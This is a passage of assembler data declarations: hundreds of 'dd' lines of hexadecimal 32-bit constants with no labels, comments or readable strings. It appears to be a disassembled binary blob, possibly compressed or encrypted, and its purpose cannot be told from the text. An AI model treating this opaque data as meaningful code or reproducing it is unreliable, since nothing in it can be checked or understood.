0E65E7A43h, 77D230FAh dd 7BDAC66Eh, 0E91050EAh, 0FB5148F0h, 0FCE4FAC9h, 62F594B4h dd 8529979Eh, 0C9BA3EBEh, 7E0B3E9Fh, 57236282h, 595F5DB2h dd 0B2865805h, 0FD4DBB9Ah, 68294EB5h, 4C1DA42Fh, 0F2497162h dd 0D089D56Dh, 3104875Dh, 905A24E8h, 5EB57B47h, 666CEBDEh dd 18FDF8A2h, 4F9AE902h dd 487AB7A0h, 815E203Dh, 9728C880h, 5838880Bh, 4C9DA69Ch dd 5FE91B47h, 81CC32DEh, 1A263EBh, 0C9F85152h, 901092A4h dd 5C81425Dh, 62780650h, 0A2387499h, 4749A2ADh, 664FF423h dd 3AA861CDh, 662D30B3h, 8E39C052h, 7DB9D84h, 0C1653E18h dd 0FA025FEFh, 7F0F401Ah, 0F55FE5D8h, 0D0BF1900h, 0BF224044h dd 0E4E9F163h, 0C2ED6B85h, 281D8AD2h, 1E02B557h, 8937FA38h dd 9E5BC1DFh, 82B3D007h, 5B5CDC08h, 201D7715h, 0F68058E6h dd 0E9F3305Dh, 697167C3h, 2B2C52E7h, 0D9450075h, 1A37FB2Fh dd 0DB5761E9h, 2058715Dh, 66F4A2E2h, 48CAA000h, 0BD5EFEBCh dd 51F7B9E2h, 90AE44AFh, 728E6882h, 0B605F893h, 0AAA89110h dd 8E60CF31h, 46992B88h, 27D3FE64h, 58742A20h, 0ED565901h dd 0F6604A30h, 19C70096h, 5AD62910h, 4B707CE9h, 7E3A5F9Dh dd 5351B75Eh, 5BA2D072h, 5449E8D9h, 56565BA9h, 0E6C01400h dd 980512F6h, 7786C9Dh, 0A89B19C5h, 0A5019644h, 456D60A1h dd 5B74CA60h, 0FB925EEh, 2240CBB5h, 69BE5614h, 59A8190Ah dd 10028A46h, 0E1ABF3EDh, 1325A79Dh, 4EA30660h, 88CB8D3Bh dd 1AAD858h, 5631E6BBh, 74B8E805h, 0B9506B97h, 0D73A8259h dd 0CEC1869Eh, 0A08F469Dh, 170BF17h, 0D62D1976h, 2A3A8A6Ah dd 0A64B5304h, 42535EFAh, 31477324h, 0F201CE80h, 8C5E8DE9h dd 1CC844F7h, 0E2E3E906h, 5CCAEC89h, 24B183A1h, 28B80064h dd 7D6F0475h, 8D227168h, 6E3BE0F5h, 5A51F617h, 77194BAh dd 0F76A34A1h, 0FBA4B462h, 34BFC116h, 0A482AAE3h, 0D59C6253h dd 305D2D61h, 3C18FEB8h, 330C6F43h, 0C2EA7718h, 0F4A23ECh dd 9707A5Dh, 65706F1Fh, 0BF1094FDh, 0BA06D9F4h, 4C567F03h dd 0E50282EAh, 966FE939h, 92BD367Bh, 1531A810h, 0C42FE1F7h dd 96C50073h, 83290774h, 0E9CEE850h, 48CF7CEFh, 0DF854B3Ah dd 359C586h, 7E87055Dh, 77DA3B02h, 0E125985Eh, 563B250Dh dd 0B3178256h, 28257C78h, 980677F9h, 764C06AFh, 5892065h dd 0D10FCA68h, 8514ED7Fh, 37BB90C6h, 6187D377h, 48D0F9E2h dd 399D644Ch, 28688E02h, 0BB21F369h, 0AF0560E8h, 0AF96141Ch dd 1005A012h, 0B6EEDE36h, 0F24FC543h, 421C98AEh, 26437C4Bh dd 9A5F4A26h, 4AFBFF53h, 0DA6571C2h, 231E0207h, 524756E0h dd 6B02B9E7h, 4058911Dh, 165D0F03h, 12EA2969h, 5FD9A8EEh dd 88B4FFECh, 6C00A26Dh, 0F68157A0h, 4E653E45h, 1D50BF63h dd 569116E7h, 66A4B020h, 0DB1858D5h, 0B7FE6750h, 0C05A5DFCh dd 0B58F8DF4h, 74492374h, 0E91554DBh, 781AAEE2h, 0BEE2FD54h dd 4F49930Fh, 0CAD6492Ah, 0A33F8092h, 9718076Ah, 63DBB7E0h dd 0D0099BA4h, 0DDFE902Dh, 0CD81E948h, 9C7A0A09h, 0B483F769h dd 86D182DFh, 0CD4F7129h, 4D602ADEh, 48518EC6h, 57A2FC4Ch dd 0DE95EE50h, 0BA01C50Eh, 16E5780Bh, 0AA1CF8A5h, 0B0DE81C8h dd 82C27811h, 5780F475h, 52E419FCh, 0D7F1A782h, 0BA8A5EF3h dd 0BAA68385h, 0EB808F38h, 0EF7B8571h, 0B84835E2h, 5C09D025h dd 0E98B1947h, 4E37AB2h, 6E2267E7h, 9A00BB10h, 53028658h dd 38680252h, 5A6DBB0Fh, 0E303DCD8h, 0E90D7C73h, 0F2EFA411h dd 1BA5044Fh, 0C7EF0FB8h, 28DE39B6h, 2598275Bh, 56A4FB20h dd 9CB8368Bh, 7409620h, 76410A05h, 28608B74h, 0DB48F479h dd 98F84FFCh, 5F8F0173h, 0CFE93C7Dh, 25E92B73h, 7B99FB93h dd 22E2F03Bh, 526CF441h, 78DCE05Bh, 7EB50AECh, 448D823Ah dd 0C35E7DC2h, 5C68253Dh, 0E665EFE6h, 560F93C7h, 6F2B39B9h dd 0C0C23190h, 950573EDh, 8BB15C02h, 2364BA00h, 3B5874h dd 0FD4A0B02h, 4CC32127h, 0CC5154BAh, 798F72Dh, 0A19D46BEh dd 3E0C6891h, 6CDB005h, 4BCFA29Eh, 4F7AD8E7h, 27838121h dd 29F3048Dh, 3311B262h, 2839BB00h, 2E50B730h, 400D356Bh dd 0E16B9CB1h, 8416DFC2h, 7C4A2EA0h, 27685E80h, 3C194C3Ah dd 4EC2ED3h, 45552601h, 44055823h, 500B8806h, 696F6812h dd 0D67061ABh, 6CCF6E1Eh, 9501F014h, 88B7FFD2h, 77685B05h dd 3874952h, 0ED5CF7A4h, 608785EBh, 0D209F2EAh, 0BE4A97E8h dd 0F3BB7134h, 450977F9h, 0F55D734Fh, 48CDD920h, 4E769507h dd 6B9F501h, 0CEE9232Ah, 306E6FAh, 5195B753h, 0EA90FD88h dd 0F6970C8Bh, 5B5E5CE7h, 8330BCACh, 0B252ACB6h, 0E2C0F3Eh dd 9204D028h, 0EB4A87E3h, 3FE1103Dh, 13F2AF24h, 0F4293E36h dd 6664C924h, 16BE965Ch, 0B52B010Eh, 0FD42DF2Bh, 0A3246BBCh dd 93D78AEBh, 261A1600h, 4B311CCAh, 9CA62DDFh, 59C9FAF8h dd 7DD3325Ah, 0A532E281h, 87A06F74h, 951B70C1h, 688990FEh dd 0D6C0A9B5h, 1DE9709Ch, 66A983BDh, 20327931h, 2D024917h dd 28263B33h, 1EE45D59h, 0BFB355F5h, 9C257944h, 856268FFh dd 2D56B840h, 187FDE68h, 254C64ADh, 627751D1h, 71554209h dd 5E8169DAh, 7BA46945h, 1190F0h, 8160D827h, 1862CDE6h dd 7275348h, 4D50B4F6h, 0E3A9E9D1h, 2769443Eh, 2F6802F2h dd 8F54F116h, 13371A35h, 44D209F4h, 0A0B3FDE0h, 0F63AC095h dd 0D3D3E4DBh, 0FA4EFA08h, 5A0C13E5h, 0CF6A0C04h, 40976106h dd 8859EBB2h, 0C01F5BDEh, 0CEC605EEh, 0FC60863Ch, 6695C1EAh dd 0D271DD2Dh, 5BB1E63h, 98E90E09h, 2E6FF25Fh, 1F569Ah dd 5C08E281h, 4A5C48C5h, 508D4DE8h, 5469EE72h, 67B302D1h dd 5122FC2h, 0BAE1CC06h, 33955837h, 0F716E0B8h, 1F56F9D3h dd 13535553h, 80BE17C4h, 0D1F8FEBh, 0D8016F3Eh, 7997043Ah dd 0D9803141h, 614C6618h, 2708285Eh, 0E40EC606h, 81CA0A58h dd 41AF4A7Ch, 8050453Eh, 0A1F32C22h, 166BABE9h, 25F0233h dd 0E07505A2h, 2848A836h, 0BF661CDh, 582627C3h, 412F0552h dd 0BF1B5D77h, 0E358AAD3h, 0D5740196h, 0D931F3FAh, 42409F31h dd 2DD049B3h, 22DF5E01h, 5F295FC3h, 57E05A40h, 2396D678h dd 224AEC2Fh, 809F06B6h, 0CB815AEEh, 2A233B7Bh, 0DE16E98Ch dd 1571CF7Bh, 2B74A026h, 0CB4D800h, 12FD3113h, 0C96CE5E9h dd 6D856F0Fh, 0C85AF7A6h, 954FF286h, 7810E5B6h, 1FE9C55Ah dd 64BF47D0h, 688C2E06h, 0B7A1C4Ch, 700F3AAFh, 0CD8350B0h dd 652F2CB6h, 0B814967Eh, 0C0BEB386h, 180F1146h, 4A7229E9h dd 4D4CAFEh, 47155C97h, 642F7C94h, 0B95159AFh, 377D1A86h dd 0D3B0108Bh, 7DE3C12Fh, 1BDE0C32h, 62035A06h, 38159820h dd 1214BFF3h, 5C05B54Ch, 169FC31h, 7956D5EDh, 420C8102h dd 1B5FB2Fh, 0CD68DA59h, 937F1F04h, 2D1FC51h, 0E54C2F05h dd 4D65E86Dh, 29521EDBh, 85039C2h, 3F1ECF58h, 6C04E369h dd 5B3E8BCh, 0DDF67DB5h, 377AD7AEh, 98C560D6h, 590BEF28h dd 7D60B050h, 720C0D80h, 2EE4A334h, 584AC7E0h, 0EF1373B8h dd 0D0EFB03Eh, 0BF2BAE41h, 9333BB60h, 18ED58BCh, 0D8178038h dd 0DFC4BE5Eh, 6AE90802h, 0FE947582h, 90A49A27h, 0CDF02143h dd 60213D2Ch, 78BAE270h, 7A97FF97h, 0C2E3E90Dh, 0FE5A2CC0h dd 0C8283B5Dh, 50519674h, 92985EB7h, 0FCF0D05Eh, 0BFB35EE9h dd 0D8101549h, 1F4F2F3Fh, 0E985DEDBh, 0E6FF9DE1h, 58C217D1h dd 56EE790Eh, 2E12648Ch, 2DA4B214h, 7CDA9DFh, 69EE0409h dd 98F76405h, 54C50B1Ch, 0E3847A95h, 4567A07Bh, 0E7BF5709h dd 12D774F1h, 9322EBEDh, 4F8BD760h, 0D4696FD9h, 74A87059h dd 50F78080h, 25BEFCAh, 6866392Ch, 2B545ED9h, 2C1B589h dd 967957Fh, 0C22265DCh dd 33D6B98h, 4E1D1A55h, 0EEC6C0CEh, 62571D96h, 0A386BC0Fh dd 18511B64h, 8401E09h, 9B240450h, 5F778FADh, 0EBC5B43Bh dd 0D80F250Bh, 826001Fh, 9D604C31h, 9ADC1C09h, 0FE100C2Fh dd 71042D1Dh, 1E0159F0h, 0E912557Bh, 4C837ED2h, 0FB4099BAh dd 2762B980h, 317C3812h, 0BBD204AFh, 2430FE87h, 9F0A3F68h dd 0E7F4206Ch, 0CAB3735Fh, 4CC24825h, 969DEC58h, 0C19D5A3Fh dd 0CB8CE968h, 0AC3D300h, 0F74C8B14h, 958DFADBh, 52BA6200h dd 1E48857Ch, 83B000E3h, 0D689E17Ah, 0C512DC5Ah, 0A037E860h dd 8E439F6Ah, 0BA80E678h, 0B9480F76h, 1249F922h, 0B1A2142Bh dd 0F1A4F509h, 2D09C1EAh, 64E2335Ch, 6E82584Bh, 20A86D64h dd 0DA639C8Fh, 0C96D145Fh, 5522368h, 9E66920h, 5147E7D1h dd 29134F0h, 27D7FE64h, 0EE17DD35h, 514CC0A9h, 0FA7A4812h dd 11962B3h, 3B5EC1F7h, 0FB9261B3h, 5C8B65A2h, 0C149E2D2h dd 3359243Fh, 0B7156902h, 87DE7517h, 1D03A5A4h, 6043BF76h dd 50561016h, 0F2FC1929h, 112597E6h, 7FE4571Ch, 0F1B681Ch dd 87B67725h, 714A8F98h, 7402D749h, 0F7736255h, 0C4F39E55h dd 0EB8327B9h, 0D8EE5165h, 644EA580h, 0ABED1672h, 464EFF9Fh dd 2C86EA01h, 0F229051Bh, 4F30A874h, 1ED6E34Bh, 0DFAFFF66h dd 805B24A2h, 0E9C0F441h, 5068F02h, 0D2BF32FEh, 64775A42h dd 7CE204ACh, 169F64Ch, 0ECBE3160h, 9AE123Ah, 6329B22Ah dd 496D58D5h, 0B85F9B06h, 32E9AC42h, 5C2EB087h, 4A03DD90h dd 2817719Dh, 0B6A2543Fh, 208190EFh, 539FA6ABh, 1383AC79h dd 0A720AA2Ah, 0B5EE8852h, 2FFCA450h, 84686448h, 5804E591h dd 63E6AE87h, 232F849h, 0B05CA09Ch, 0CE814E00h, 7C487A9Ch dd 0A6332941h, 0CFD31493h, 467E7620h, 0A081F325h, 85666D1Ch dd 0DA40B718h, 5F8291FBh, 0AE964E84h, 0BFFDB617h, 0B14000A5h dd 41E9800Ah, 80E06C0h, 7FFE59C8h, 51B90EC0h, 141812B1h dd 96F1EB80h, 6AB5F06h, 715A5371h, 7F16EA95h, 0A0CFCA53h dd 0A2449AF7h, 58B0907Eh, 0FD3E96Ah, 0D8378050h, 0E59C299Ah dd 6766123Fh, 55517330h, 7F9900BDh, 0D4B97976h, 9B1C858Dh dd 1C49E929h, 0EF6AA06Fh, 13FD307Ah, 21EE285Bh, 166758Ch dd 0C331C9FEh, 5B4A0B6Eh, 0A85DCE75h, 12D788B3h, 44394468h dd 0D07DDC2Ah, 0B72C7AACh, 13E90859h, 16B33E68h, 5E1B5F50h dd 2701B6FDh, 62E574D4h, 0BAFF5D54h, 0DBD0F5FDh, 4B86D1B7h dd 5B31FE76h, 6800C5CBh, 35BE2A59h, 980A8662h, 17A0B5F2h dd 263B353h, 6E34F1E3h, 0BB84D5C1h, 8B9327F7h, 0BDA55A27h dd 0F971B96h, 946F9E20h, 6D22BF9Bh, 456C080Fh, 0BC692A20h dd 0CB780533h, 68AEA07Eh, 30EB745Fh, 0D2573B88h, 0E6E97C0Eh dd 9DFF1298h, 71AD7C51h, 0AC51E795h, 4AA510E8h, 0CA6EC5E1h dd 2CBC4A28h, 13543B44h, 0E4DCC9E9h, 3B9C40DDh, 0EB80F62Dh dd 6885CA5Ch, 7140716Eh, 0F230F8BFh, 3B8044Ah, 0AE2A1252h dd 0AA51DEF4h, 72B974E3h, 4CB88BC0h, 0D257B333h, 0BC0D4BB4h dd 37B74F5Bh, 0C442152Dh, 0BF84DDFh, 9055F62Fh, 27D8283Ch dd 76D9F82Ch, 410768C1h, 24E9B24Ch, 8A268B9Ch, 407170A1h dd 3DA202EBh, 6A0BDFBEh, 0C34FC8FDh, 0AA571633h, 40B9FD0Bh dd 0F138E908h, 75FF4B5Fh, 46FCAC40h, 35E93C48h, 5E258F8h dd 0A93CCD84h, 0D5032F22h, 2F8C2D03h, 0F45DBECAh, 28E98925h dd 0DF4BDFF1h, 0E98927C5h, 430BF58Fh, 0C5E72BD4h, 9893E53Bh dd 53DF3931h, 25BF6880h, 5EFC8971h, 0E2AB5992h, 5E93A13Eh dd 68893EB9h, 7FD40734h, 0CBBC5B53h, 31EB4C82h, 4E7A7B55h dd 0C4E01589h, 0FA7499DFh, 0A03EDE71h, 520FEE26h, 5F291C97h dd 888C0897h, 1B5EB75Dh, 0F26CD2ADh, 0FA814BB9h, 0DF7DADCh dd 53B168F1h, 9A58C675h, 551CF895h, 0F5302C66h, 120858E3h dd 0F302BE48h, 0EA1EE915h, 649DD7C6h, 0E0304B4Eh, 0A84A19A9h dd 8FA3D7EAh, 0B09854D1h, 65761914h, 7A37EB0h, 2A937DA9h dd 84C6C1CCh, 9F06469Fh, 97E91E01h, 6FF8356Eh, 52FBE4D1h dd 9F62FB2Bh, 3AB5C1CAh, 49F88A2Bh, 3EF41067h, 84572D27h dd 61EE5FBEh, 6CA41F68h, 0D951898Eh, 0F0E9C3E2h, 97B9A34Ah dd 1625E9A0h, 0D65F71AAh, 0BD9D461Bh, 16AFBF01h, 0FA293809h dd 5100A602h, 0E81999B9h, 81410731h, 0EF7E38F1h, 1876A294h dd 1849952Fh, 9A320796h, 0F5CB1631h, 32B58EE4h, 0EAD85FC8h dd 0D8E6165Eh, 0FA525913h, 0BA5A57CAh, 0EEBDC965h, 5AEF68C2h dd 0AC4E69FAh, 1385B20h, 0A05D4B64h, 173B4B28h, 6DCF0269h dd 6125E033h, 0EC6EE373h, 500EE2D9h, 575F3BADh, 971A79A7h dd 1D70AC1h, 2021F301h, 0F6F5A42Ah, 2FDC9700h, 32A7059Dh dd 0FC745A16h, 0E0DB2F85h, 2DE2BBDDh, 4C03522h, 11004F61h dd 5AD3313Ch, 4814B43h, 923A65F3h, 0B383C07Bh, 26600679h dd 0AFDE2F0Ch, 0DDC097F9h, 68005250h, 2A715445h, 9D84E95Ah dd 5B5529C2h, 51AA88B0h, 0C309F526h, 0B9D6D919h, 0EFBFCC33h dd 74ED1BD0h, 0AD92D5F6h, 580B11BCh, 1B76862h, 7542D3Ah dd 0FBF2ABF7h, 52B01626h, 0DC29BF07h, 0BDE10020h, 0F15AF1FEh dd 0F2D61794h, 9DF5D2E6h, 9FAFECE7h, 62262596h, 595CFC02h dd 7B172AD3h, 0BAC5DBB3h, 8F88B8A0h, 15462455h, 308689EDh dd 29D25ACh, 5CBD7472h, 16BC530h, 5C32E4Bh, 501524F5h dd 0C281A494h, 68075CB6h, 0E914603Ah, 0ABA96A0Dh, 89CC3E89h dd 0EF7C5374h, 50C02D78h, 1C171F98h, 0C110FB9Dh, 6A2C8B5Bh dd 68214C7Dh, 11699A65h, 137CFA80h, 9A12352Dh, 50008F52h dd 4718F5EAh, 73E9167Fh, 0B4D36054h, 5B60FE09h, 0ED2133ECh dd 54B83Eh, 34C5799Fh, 0A40E946h, 4442A7B1h, 53C199C2h dd 347D8C32h, 0AB1ADB67h, 3CC544E8h, 410A8D50h, 8234C157h dd 55EF08Bh, 386D8201h, 20F1D290h, 801F8BBBh, 1289B9C3h dd 0CC4EF16Dh, 651445B6h, 27EF2628h, 0FC18687Fh, 0F962A7Bh dd 0E9480932h, 187C9F16h, 5FD9E9F8h, 0EC9DDD4Bh, 71B53D0Ah dd 0CC96BCF3h, 0CAE0AC4Fh, 509FB4F1h, 0E661A289h, 960220C0h dd 9356483Fh, 9FED89A3h, 3C7301D2h, 706CDB49h, 5881AA22h dd 0D429F52Bh, 4A5B131Fh, 7F4099F8h, 4A7C72F8h, 0CD14BF53h dd 526B1048h, 0A790681Ch, 0F2091D46h, 740EEF50h, 0FCED8658h dd 0E92A14F1h, 0C5F6CE5Ch, 48802E09h, 25E3F841h, 0E9C5D801h dd 9F20179Eh, 0C20433FAh, 5B0B41E6h, 1D80AE0Fh, 0EC685529h dd 0C483215Ch, 2FAC43E9h, 0B9F5592Eh, 76EC4283h, 80BC579Ah dd 0B34362ACh, 35583014h, 33E91606h, 0D49C84FEh, 3B64AE0Dh dd 9D5AE4B6h, 78EFFDA5h, 385A33EBh, 51EB8B22h, 3EF0C922h dd 0B9122827h, 751E01E2h, 0DEE9D931h, 84EC2D84h, 3C49374Ch dd 0A718657Dh, 0D508A1D1h, 0FBC58713h, 0EE384414h, 0E084D50h dd 1C271BE9h, 0E253792Dh, 1F4A11E9h, 58858C5Dh, 0BECAC2Dh dd 679349C0h, 85778903h, 181EE77Eh, 7A89E828h, 80BC9430h dd 3E57E682h, 0F5186556h, 36E90DE2h, 0FF69AC9Ah, 52C0A080h dd 24A21496h, 0E05BCE31h, 0EA2551EEh, 6A2D164Bh, 0D4E2BC2Fh dd 4E2F8487h, 31300113h, 0EC2BDB03h, 0A7B7A434h, 2F786C11h dd 80DEF384h, 31CCDEAh, 0C631540Bh, 9FA95758h, 0E9E5C0DFh dd 69C29FDAh, 7DEB9ED6h, 4B8053BEh, 0E091A460h, 9E9D0909h dd 4947BF3Ah, 544E688Bh, 850988A7h, 0C528E125h, 8B1D981h dd 7ED3C180h, 70805684h dd 9688E95Bh, 0D1210EB7h, 0AA9B9FE4h, 27591E3Ch, 4E55A7E9h dd 949C0Eh, 1CA27FBCh, 800248B9h, 0B8E9E35Dh, 8801749Eh dd 0BF018C62h, 29EC2ABDh, 27E6BD20h, 40507C5Dh, 0C4E60279h dd 0C7991B13h, 0E909A8A2h, 8AFC91EAh, 75F821E2h, 0FAA5BBD1h dd 964E22B2h, 6010CC22h, 0FDBAAD39h, 787FBD44h, 0D6384A27h dd 0F04EE5C1h, 31345AB9h, 8F537ACFh, 0D825B0B8h, 0BFCDF224h dd 0C127CCF3h, 50D72242h, 4A83B097h, 84C8FEC8h, 806BB91Ch dd 33D32F29h, 3A6BF0E9h, 7C1A0E85h, 63D22092h, 3F21D051h dd 0E348FD21h, 5293373Dh, 0F88BC63h, 2449791Ch, 2CFE6A95h dd 0CB5DAB57h, 0E8E08440h, 18C09DECh, 5673FE08h, 0A06C3196h dd 622D16CAh, 0C18AE007h, 0F706E91Dh, 0D7D46CB2h, 0FE16A653h dd 516C5665h, 8C6C4A05h, 57121944h, 25AB0376h, 92F2AB75h dd 0A97C86C4h, 6918804Ah, 0F351C0Dh, 6057730Fh, 7F04AED3h dd 0C3405EA0h, 0D754CD12h, 0AC28BDBCh, 5265C72Dh, 690C0BA5h dd 110008A5h, 634B3D92h, 0F50724B0h, 0E160656h, 42B7CD67h dd 0DDF77FC1h, 3EB78D40h, 0AC744880h, 8EE54A55h, 0B5C7F7E4h dd 3032A9F0h, 78BE8AC2h, 7659DF2h, 84C30189h, 0BE123033h dd 0A05C81DCh, 2513EDF7h, 8B561EA9h, 1CC108A0h, 7A977867h dd 0BBD5647Eh, 0BC8538FCh, 0B662EB4Bh, 5CFCC997h, 3010A16Ah dd 0E7647BE7h, 87EB5B14h, 33950C63h, 37987795h, 7A95BD68h dd 1F5A202Ah, 0CB305564h, 13F1D6F4h, 0AC020964h, 0BB430090h dd 0E931C6EBh, 82FD975Dh, 0DF500BC1h, 32C7DDA1h, 21F5D534h dd 8ABDF87Fh, 0FAB1BE92h, 392EC826h, 0EAF888E3h, 2C88F435h dd 50A402E4h, 4EC10DC5h, 62C47B62h, 1C6FB6BEh, 7FA72F05h dd 3C4ED544h, 5CB840FCh, 6D60CEC1h, 1020404Ah, 0B24402C1h dd 8ECDE92Eh, 0F7AF62F4h, 2F88E16h, 9D63E69Fh, 0EBB0905Fh dd 0CEFEB54Ah, 256114E3h, 65D4C78Bh, 0F6F65B92h, 0CE81E825h dd 6C533B68h, 76F1C687h, 1C52255h, 59A5748h, 12B01C2Ch dd 351D00FBh, 434D7944h, 3ED88B8h, 5D82F431h, 7E29D7DEh dd 25548682h, 6DE4BF00h, 0C23E5B29h, 0D7604FEFh, 0AE066250h dd 1BCCE9B8h, 20537737h, 849F85A8h, 9BB8CA52h, 0A10DA84Bh dd 0E37660F9h, 8816E94Ah, 0FF2D0D84h, 5DC62B03h, 18087BC2h dd 640C0176h, 0E4C558C3h, 42C76895h, 0A4B77922h, 98FBAF91h dd 6C002ACEh, 0F681203Eh, 974750F8h, 6804305Eh, 0CEBE7A2Fh dd 60BA008Ch, 52569C2Eh, 31559F58h, 7FF0E561h, 85F9D0Ch dd 0A290824h, 4EAE5A25h, 0BDB880A8h, 0E85021DEh, 0BB694ABFh dd 4818FDDh, 0F6AED687h, 0C277B36h, 0AF205903h, 424940D4h dd 0E7EF41E2h, 0D3124915h, 0FC97E250h, 0C63A50BDh, 9A011DDDh dd 0BDCB1CC5h, 2F984E60h, 6FC0317Dh, 2D015DE8h, 502E46FCh dd 197CE0D3h, 6D90E9C2h, 274E40Bh, 0FF88F281h, 1462B9A3h dd 3B5E3849h, 0CD628ABh, 0CB7AD480h, 10F5EA8Bh, 0A88A4CA7h dd 0A612E4DFh, 0AEB001C9h, 5EE9CE2Ch, 0D322AF96h, 0C1F9AC95h dd 0C2617168h, 0A4F865FDh, 3F300D22h, 1CEF3BC1h, 33C5A61Fh dd 68C6D90Ch, 135AD459h, 31FA4429h, 3B34A126h, 709FA209h dd 0AD65B766h, 8009FCA1h, 9F82C490h, 90811E55h, 1A860935h dd 0F9801594h, 0D890E50h, 1340455Dh, 1FF8C9C0h, 0C2E234E7h dd 6D52990Ch, 4E395E0Bh, 304D67Dh, 68575347h, 38A416E0h dd 0CF3A28B8h, 137FF0B8h, 0C064E973h, 1FF4F3Ch, 9CC1A3FEh dd 0FE847B3Ah, 0B434A8EFh, 680B7BA2h, 59F91A8Eh, 5E39208Bh dd 7AA859ECh, 56AD6E05h, 110064C7h, 7F890A7Bh, 721B2DDEh dd 534A6756h, 0E58468A7h, 0C1FFC068h, 1E27013Fh, 6870CC1h dd 130549Ah, 0A1320F3Bh, 90A8E973h, 166FBB00h, 2DC10DE2h dd 3D6002E3h, 662D0373h, 3820FCF0h, 0B4FE83BFh, 0EC5D1654h dd 0A3EAC9AAh, 92F788A4h, 507060C6h, 0CB3B48B0h, 0DC05D655h dd 862058BBh, 0F5017559h, 56012D3Bh, 4930F1E2h, 0FE91C186h dd 85035F15h, 107D9288h, 6587B91Dh, 986CF66h, 3FE91294h dd 970E97Fh, 485A6848h, 0B73B4D67h, 8D9CB336h, 0FDBD448Bh dd 963E80E5h, 0DDBA9576h, 650DF1CBh, 0EC16A2Dh, 69AC8369h dd 12541680h, 4FF0083h, 8088B951h, 0CF31D5A0h, 534F594Ah dd 1022A0F5h, 5B3F6874h, 4D903213h, 47BD0F70h, 765C2F69h dd 765F8972h, 685360ABh, 0D99703FCh, 0B2BB4048h, 3A5B635Bh dd 0E229850Bh, 0E90B01E4h, 4462CC19h, 0EA2DB5D0h, 0C02FD067h dd 11C7D40h, 56BF741Bh, 0AD9BDB48h, 4DFCC5Ch, 6F7087E7h dd 0A29F804Eh, 6B24377Dh, 0A43B2A57h, 0BB426B52h, 39F1D7B9h dd 687E572h, 4046D0E9h, 0A7EBD13Bh, 88C1E0D9h, 0B456FCC5h dd 5C091685h, 2004C2A7h, 3876BF1Ah, 0F6E2A7BAh, 51D772B4h dd 0A9E9C1D7h, 945472F1h, 522684CAh, 0C943ECAAh, 0AB4F544h dd 2C050247h, 0BB486830h, 9B835637h, 0FEED1276h, 7335FFD8h dd 3D864BBDh, 0CD0099D7h, 1EB31BB2h, 0FD07EDC1h, 0A63E5AE9h dd 57292F2Eh, 78953B23h, 85A5177Ah, 9EB9E984h, 56C14EBFh dd 0F15EAE79h, 0F2026A7Bh, 540FD568h, 548ED8C3h, 37EBF7C0h dd 7C010903h, 666E2555h, 0D5C24DDCh, 8667FF79h, 517EF2Ch dd 611013F6h, 17B25875h, 62E8E756h, 25C0E997h, 931B762Dh dd 69F90E55h, 0E927C601h, 5BDE2C94h, 4A7A35A8h, 9F23FCB1h dd 0DDB657CBh, 584A66C6h, 0B73ECEB1h, 2CE913A8h, 6DAF8A53h dd 4A6B2889h, 0CD7E80A6h, 0E15829EDh, 0F6586489h, 4B6FD258h dd 67BBBF84h, 54885870h, 0EC581345h, 0E5C10FF6h, 0B00F5207h dd 0AA4FF041h, 0E8CB24C2h, 0FE6813Dh, 2B1B3931h, 1DD8D26Bh dd 655B542Eh, 904A8DE2h, 2D2AB162h, 3760F73h, 0A95AE49h dd 9339B480h, 0AEE9C6F5h, 8FB5510Ah, 0CB6227EEh, 81359DC8h dd 526F04E0h, 8772E6EEh, 0D0C70195h, 0D133E502h, 78DAAFE7h dd 0C794B7A8h, 0DA9F0EB0h, 82E92C29h, 0DAB58CFFh, 2824EE82h dd 0DB5B60E8h, 2C34B0D8h, 0BF54F4E5h, 6850C0FEh, 93D9E8Fh dd 0DA2A01E9h, 917B2DD1h, 0E9DB30E9h, 3809628h, 55B664B4h dd 6C2D8184h, 0A1556F82h, 0AA991718h, 2A18D18Ah, 4F5F287Eh dd 0A1575128h, 8EAF4C4Bh, 63444E2Eh, 0B100D8CFh, 0F6C9FEA1h dd 78B484BDh, 0BE565500h, 9E06790Ch, 0AEE8109h, 0B1E9250Dh dd 44BEEF05h, 13267C61h, 0E3009113h, 7F325A8Ch, 6165B04Dh dd 61E90F8Fh, 0D2DE6956h, 58BAC60Ah, 5CAB64CFh, 73F144EFh dd 485E00C0h, 1761CF35h, 0ED0103E2h, 0BFF093ADh, 44F60481h dd 0C4394B59h, 0F294AA1Ch, 57C1D109h, 23987244h, 0C56F8A41h dd 0C6140226h, 80DF867Ch, 7114EF43h, 0AA0CC102h, 2C2BDD7Eh dd 8A3724Eh, 41140C42h, 0E9998520h, 5DF8AB77h, 183ACAC0h dd 0D0B75CF4h, 0F87B0698h, 3EE2D114h, 0AD848C01h, 300FE937h dd 906FFF49h, 0E7077DCEh, 3E49387Fh, 0CFBA00E3h, 0BB2B6F3Dh dd 81191F33h, 0F8E5C908h, 0A9D5AE6h, 0D3023AF6h, 75358C55h dd 44ACF64h, 51AE09EAh, 0ABF5382Bh, 4710D479h, 0B2551B7Dh dd 53295D22h, 43851B02h, 94CADFA0h, 0A5A8D650h, 0DE0B5508h dd 2159E96Fh, 0AEEB80D6h, 0C401F23Bh, 0AC040B5h, 92CCE996h dd 9326E712h, 8304AF5Bh, 0C01FF9A7h, 37626850h, 0AAF80A90h dd 0B845CB40h, 875E4801h, 0E7DF23Bh, 0F013806h, 276E0BA5h dd 0E072EE64h, 0F997892Eh, 0BCE9C1CBh, 45BC2A6Ah, 0FA07FE84h dd 4A89B3CCh, 68F8C813h dd 65AA665Dh, 45AABF78h, 0D7AE4D82h, 8763C299h, 0E9485B03h dd 0A7240B6Dh, 7550022Bh, 7ECE8136h, 7B150A41h, 436A0804h dd 0ECF29DAAh, 0E697F6CEh, 26FA9F90h, 5D4AD198h, 677F06C0h dd 9E0906Bh, 0F41053DEh, 57748B77h, 0E904F665h, 0AEC8E553h dd 0F409253Eh, 8B7D2A50h, 59658D2Dh, 6BC63201h, 5FFD9BC8h dd 20A96816h, 138334BDh, 0EEEDB17Ch, 9ECFE5E0h, 4E4B3B21h dd 0BD0996FFh, 42952A82h, 756890A0h, 9998742Eh, 0C479FCB7h dd 0C9F0EF2Dh, 0C02FE05h, 0D80167EBh, 651683ECh, 56017079h dd 6884C0Fh, 6AB5F882h, 0FF411B7Eh, 0F5DF8753h, 2AB701Fh dd 5A306E7h, 0D174BB58h, 0B6449F8Eh, 60BB0953h, 1D781734h dd 0D637B10Bh, 508C7538h, 6D168D12h, 0ABF31F65h, 77F5E90Ch dd 5560520Ah, 12253FF8h, 0C0F702BAh, 7FE9EDDAh, 402FD974h dd 26901B3Ah, 850D8B01h, 573DD0Ah, 942DE9E0h, 0B5ADAB92h dd 4A687174h, 